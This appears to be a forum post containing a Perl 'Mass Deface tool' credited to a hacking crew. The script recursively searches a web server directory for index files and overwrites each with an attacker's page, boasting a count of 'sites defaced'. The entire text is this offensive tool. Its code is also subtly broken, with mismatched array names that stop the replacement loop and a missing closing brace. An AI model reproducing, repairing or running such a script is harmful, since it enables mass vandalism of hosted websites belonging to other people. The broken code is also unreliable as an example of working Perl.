Código:
#!/usr/local/bin/perl print"############################################ ###### ############################\n"; print"########################## Mass Deface tool V.1.0 ############################\n"; print"################### -=[Written by ziGGy from CyberLords Team]=- #######################\n"; print"#################### Our site : Http://cyberlords.net ###############################\n"; print"############################################ ###### ###################################\n"; print"Usage:\n"; print"perl cybl-mass.pl -d /public_html/ -f index. -n /permission_dir/index.html\n"; print"Options :\n"; print"-d Files directory\n"; print"-f File name that you want to replace\n"; print"-n Your new file with which you want to be replaced.\n"; print"############################################ ###### ###############################\n"; use Getopt::Std; getopts('d:f:n:', \%args); if (defined($args{'d'})){ $dir=$args{'d'}; } else { $dir=""; } if (defined($args{'f'})){ $file=$args{'f'}; } else { $dir=""; } if (defined($args{'n'})){ $newfile=$args{'n'}; } else { $newfile=""; } print $about; $dok="[+] Ok, The Directory is : $dir"; $fok="[+] Ok, The replaceing file is : $file"; $newfok="[+] Ok, The new file is : $newfile"; if("$dir") { print "$dok\n"; sleep(1); } else { print "Error placing in the directory."; } if("$file") { print "$fok\n"; sleep(1); } else { print ""; exit(); } if("$newfile") { print "$newfok\n"; sleep(1); } else { print ""; exit(); } printf "[+] Searching archive['s]\n"; my @exch; find($dir, sub { push(@exch, $_[0]) if ($_[0] =~ /$file/i) }); my $kol = scalar(@exch); if($kol<=0) { print "[-] Something isn't good and an error acurred.\n"; exit(); } printf "[+] Ok, $kol Files found...\n"; sleep(1); printf "[+] Replacing the files.\n"; open(NEW, "< $newfile"); foreach $files(@troca) { open(FILE, "> $files"); while (<NEW>) { print FILE $_; } close(FILE); seek(NEW, 0, 0); } close(NEW); sleep(1); printf "[+] Replacing the files succesfull!\n"; sleep(1); printf "[+] In total you defaced: $kol sites!\n"; sub find { my ($path, $callback) = @_; $path = '/' unless $path; $path =~ s/^\/+/\//; $path =~ s/\/$//; my @files = list_dir($path); my @dirs; foreach my $file (@files) { my $filepath = $path.'/'.$file; &{$callback}($filepath); push(@dirs, $filepath) if (-d $filepath); } undef(@files); map { find($_, $callback) } @dirs; return(1); } sub list_dir { my ($dir, $dont_list_subdirs) = @_; opendir(DIR, $dir) || return(); my @files = readdir(DIR); closedir(DIR); @files = grep { !-d "$dir/$_" } @files if ($dont_list_subdirs); my @files = grep { $_ !~ /^(\.){1,2}$/ } @files; return(@files);